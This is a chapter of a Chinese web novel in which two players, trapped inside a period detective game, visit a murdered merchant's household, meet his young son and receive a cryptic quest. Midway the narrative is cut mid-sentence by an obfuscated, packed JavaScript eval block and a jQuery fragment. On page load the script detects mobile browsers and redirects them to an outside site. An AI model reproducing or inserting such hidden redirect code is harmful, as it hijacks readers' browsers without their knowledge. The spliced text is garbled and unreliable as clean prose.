沈、冷二人行至衙门口,便见县太爷一身常服,正提着衣摆,骂骂咧咧地跨了门槛出来,抬眼瞧见二人,直直地冲了过来:
“寻你二人半日不见踪影,又跑到哪里厮混去了?”
冷砚冰不回话,沈南南则十分眼力见上前地问道:“可是出了什么事?”
说话间,便有一顶四人小轿行至跟前,县太爷甩了衣袖上轿,复而又撩开帘子,白了一眼这俩人:
“你二人随本官一同去顾府吊唁!”
沈、冷二人面面相觑,立在原地未动。
沈南南指了指县太爷,又指了指自己:“他坐轿子,我俩步行?”
“看起来,是这样的。”冷砚冰点头。
见两人还未跟上来,县太爷掀开帘子,冲着两人大喊:“还杵在那儿干啥?!”
两人不甚情愿地行至轿子左右,快速接收着县太爷交代的信息。
县太爷此人名为张顺才,已近不惑之年,到渝州上任不足半年,于此地风土人情、各方势力并不熟悉。
又因其无根基,不善与人结交,甚为惧内,故而城中豪绅太半不将其放在眼里。
惟有城东顾员外主动与之结交。
顾员外的夫人便是渝州首富梅员外的嫡长女,有了这一层关系,县太爷渐渐也结识了城中的一些显贵,故而对顾员外很是看重。
顾员外投其所好,送了县太爷好些字画,一来二去,两人变成了至交好友。
顾员外邀晦明法师讲经那日,还特意给县太爷留了个前排的好位置。只是晚宴过后,县太爷因惧怕家中夫人责备,不敢久留,便匆匆告辞回府了。
未曾想转眼第二日,便是天人永隔。
县太爷一路上淌眼抹泪、哀叹连连,哭罢又絮絮叨叨,言道这案情如此明晰,怎奈那天心寺法师竟死活不认罪,实是棘手。
又说午间方收到密信,巡按大人不日便会巡察渝州,督促二人定要在其行至渝州前将此案告破,切不可影响本官官声,如此这般。
*
行至顾府,眼见全府上下皆是一片素白。
一个年近三十的中年男子站在门边,一身孝服,见县太爷坐着轿子到了门前,即刻殷勤地贴了上去:“哎哟我的青天大老爷,您怎的亲自过来了。”
那人正是顾府的管家。
县太爷下了轿子,整张脸皱成一团,夸张地“哎哟”一声:“我苦命的茂林兄啊……您怎的就这般舍我而去了……”
管家瞧见,正欲抬手将县太爷扶住,这才想起过来自己的左手正包着绷带。
顾府的管家时常随顾员外进进出出,县太爷与他也甚为相熟,见他手受伤,关切地问:“你这是怎么伤到的?”
“不妨事,不妨事,昨日不小心被开水烫到了,一点皮外伤,劳县令大人挂心。”
管家连忙将手放于身后,又见一旁还立着沈南南和冷砚冰,连忙招呼几位进去,
“大人,沈师爷,冷捕头,请随我来。”
几人随着管家一同往院中走去,一路上传来绵延不绝的呜咽之声,行至大堂,正中放置着一口紫檀木的黝黑棺椁,下方顾夫人跪在灵前正中心,其余女眷仆从跪在两侧,皆是一派伤心欲绝的形容。
“夫人,县令大人前来祭拜。”
听得身后管家唤她,顾夫人这次啊颤颤巍巍地起身,向来人行礼,音色沙哑:“县令大人,两位官娘子。”
顾夫人面如枯槁,右眼下一点红痣,显得她分外楚楚可怜。
“夫人节哀。”县太爷看着好友亡妻这般形容,未免心中难忍,又碍于身份,不便多加宽慰。
待县太爷领着沈冷二人上完了香,顾夫人上前,颇为担忧地道:“县令大人,亡夫这般惨死,实属家门不幸,不知那罪人现今是何处置?望大人尽快查明真相,还顾家一个公道,也好令亡夫得以瞑目。”
说罢面上又划过一行清泪,“妾身一个妇道人家,突遭变故,家中又无成年男子做主,如今这许多事,真是不知如何是好……”
一番话说得县太爷颇为动容,当即表下决心:“夫人且放宽心,此案证据确凿,那罪犯又供认不韪,本应尽快结案,只是那罪犯的同伙乃是天心寺的首座,又拒不认罪,才拖着一时未结案。想来着案件如此明晰,那法师也不能一味抵赖,只需稍加时日便可令他认罪画押。”
说罢斜眼给沈冷二人使了个眼色。
冷砚冰冷着一张脸不说话,沈南南倒是看懂了,也道:“夫人放心,大人说得极是,我等必定将此案告破。”
说着用手肘碰了碰一旁的冷砚冰。
冷砚冰这才道:“是,请夫人放心。”
顾夫人用帕子将眼泪拭去,感动又欣慰地连声道谢,亲自送三位出门。
刚出灵堂,一个软乎乎的小东西就撞上冷砚冰的小腿,她低头一看,竟是一个肉乎乎的糯米团子。
“你是谁呀?”
糯米团子瞧上去莫约三四岁上下,一身素麻,睁着圆圆的大眼睛仰着头看冷砚冰,一张肉嘟嘟的小花脸,小嘴儿里鼓鼓囊囊,小肉爪子攥着一只大鸡腿不放,而那双手此时正抱着冷砚冰的小腿窝,鸡腿蹭了冷砚冰一裤子油。
“你又是谁啊?糯米团子。”冷砚冰嘴角不可闻地扬了扬,弯腰提溜起他那滑下来的孝帽。
“我不是糯米团子,我是小粽子。”小粽子摇了摇头,十分认真地说。
他看到冷砚冰腰上的横刀,睁大了双眼,“哇,这个是什么呀?”
一只油爪子就这样盖在了黑漆皮的刀鞘上,留下油腻腻的印子。
冷砚冰在心中“啧”了一声,正愁怎么把这小家伙甩掉,却听一旁顾夫人惊讶地喊道:
“宗儿,你怎么跑这儿来了?”顾夫人赶紧上前,想要将小粽子拉走,转头又责怪姗姗来迟的婢女,“怎么不看着点儿?”
小丫鬟低头认错:“都怪奴婢不好。小少爷说他想娘亲……一直哭闹着哄不好,奴婢这才带小少爷到前厅来找您,谁曾想他跑这么快,不想冲撞了几位大人。”
“不妨事不妨事。”县太爷似乎很喜欢小孩子,看着小粽子娇憨可爱的模样笑得合不拢嘴。
“赶紧带宗儿下去。”顾夫人有些不耐烦地对那婢女道。
小丫鬟上前想要将小粽子抱开,谁知那小家伙死活不松手,将冷砚冰的腿抱得更紧了,“我不要我不要,我要和大姐姐一起玩。”
顾夫人嗔道:“宗儿,不许胡闹,冷捕头有公务在身,哪能陪你瞎玩儿。”
“我就要我就要,哇啊啊啊,我就要嘛——”小粽子撒起泼来,嘴里还没来得及咽下的肉一口气全部吐了出来,手里的鸡腿也扔了,双手死死拽住冷砚冰的裤腿儿。
冷砚冰见状,一阵恶寒,强忍住要把那小家伙甩开的冲动。
便在这时,忽听上空响起一阵摇铃声。
紧接着,系统的少女提示音响起:
【请两位玩家共同完成“项庄舞剑,意在沛公”剧情任务,时限为两个小时。若任务失败,或将错过关键剧情哦。】
系统提示音只有玩家能够听到。
沈、冷二人呆愣住,还在反应任务的内容。
县太爷看着此等场面,甚是和蔼地捋了捋胡须,颇为大度地放了沈冷二人半天假:
“既如此,你二人就陪陪小少爷吧,今日就不必回衙了。”
“这怎么好……”顾夫人有些为难。
“不妨事,不妨事。”县太爷摆摆手,也不等顾夫人多说,道了声“告辞”便往外走去,复而咳嗽了两声,对沈、冷二人使了两回眼色。
生怕不够明显。
顾夫人连忙请管家送县太爷出府。
沈南南瞧见了县太爷那眼神,想起她们原先本就是要来顾府搜证的,如此正好有理由留
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15439069|169344||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下,便走过去蹲在小粽子旁边,笑盈盈地道:“这位姐姐功夫可高了,她一会儿……”
沈南南想起那个叫做“项庄舞剑意在沛公”的剧情任务,又撇了眼冷砚冰腰间的佩刀。
“——舞刀给你看好不好?”
“真,真的吗?”小粽子抬手抹了抹眼泪,抬头看了冷砚冰。
冷砚冰皱了皱眉,疑惑地看向沈南南,眼神仿佛在说:我会舞刀?
沈南南用眼神让她赶快将眼下糊弄过去:你应该会吧。
小粽子看不明白她俩的眼神,但见冷砚冰迟迟没说话,以为是她不愿意陪自己玩儿,“哇”地一声又嚎啕大哭起来。
“真的真的,当然是真的。”沈南南满口答应,安抚着小粽子的后背,又拉了拉冷砚冰的袍子下摆。
冷砚冰叹了口气,无奈地道了声:“好。”
小粽子立即开心地叫了一声“好耶”,油爪子拉着冷砚冰的手直往后院儿跑。
*
顾府后院别有洞天,路过一片杏子林,又走过一片莲池。只是未到莲花盛开的时节,池中也尽是些莲叶。
众人沿阶而上,通往山上的一处凉亭。此一派曲径通幽,倒是与前院的是非纷扰隔绝开来,偏安一隅。
因府中事务繁多,顾夫人不便久陪,便吩咐了自己的贴身婢女珠儿前来照料,自己先行离开。
到此处之前,沈南南和冷砚冰借口更衣,商量了一下对策。
“砚冰,一会儿你就去给那小少爷随便舞两下,把他给震慑住就行。”
砚冰是冷砚冰的小字,往常沈南南都是这般称呼她。
沈南南与冷砚冰身为同僚,年纪相仿,兴趣、脾性相投,因冷砚冰乃黔州人士,独自一人到渝州当差,又因沈南南父母兄长常年不在家,便邀了冷砚冰同住,既能让冷砚冰节省一部分开支,双方也能做个伴。
沈南南和杨灵灵本是邻居,一来二去,冷砚冰和杨灵灵便也混熟了。
沈南南时刻谨记系统的提醒,好在她也发现,自己的原有性格与角色性格甚为相似,应当不会轻易OOC。
捋了一遍自己的角色身份,沈南南十分自然地便唤出了“砚冰”这一称呼。
冷砚冰被叫得一愣,显然还没有完全适应自己的身份。
她为人慢热、对事冷淡,日常性格上倒是和“冷砚冰”颇为相似,但令她不熟悉的,是“冷砚冰”那一身精湛的武艺。
记得自己会武功是一回事,真正操演起来又是另外一回事了。
沈南南见她沉着脸不出说,问道:“咋了?”
“我也不确定我会不会了。”冷砚冰诚实道。
眼见四下无人,沈南南提议:“要不你先耍两下试试?”
冷砚冰点头,握住腰间的佩刀的刀柄。然而那横刀在手,原本还有些忐忑的心瞬时落地。
“噌”地一声,她利落地抽到出鞘。记忆一瞬袭来,是她年幼时便跟在师父身边刀口舔血、历尽磨难,故才练就的一身武艺。
出刀随身转,飒沓如流星。
沈南南忍不住惊叹:“很厉害啊,砚冰,你可以的!”
冷砚冰收到入鞘,这下总算放心下来,看来玩家会自动习得角色已有的技能。可怜她一个平时去操场跑步都很少的人,现在竟然能在这儿耍大刀了。
“那我耍刀,你干什么呢?”
沈南南想了半晌:“这是个好问题。”
冷砚冰点头“嗯”了一声:“所以,我们到底是要完成什么任务?”
沈南南挠了挠头:“什么‘项庄舞剑意在沛公’啊,这系统……跟咱俩打哑谜呢。”
沈南南心想,“项庄舞剑”其实还算明显,这里唯一能够舞刀弄剑的只有冷砚冰了。
那“沛公”又是谁?顾府小少爷?
难不成是要冷砚冰杀了小少爷?
系统疯了吧。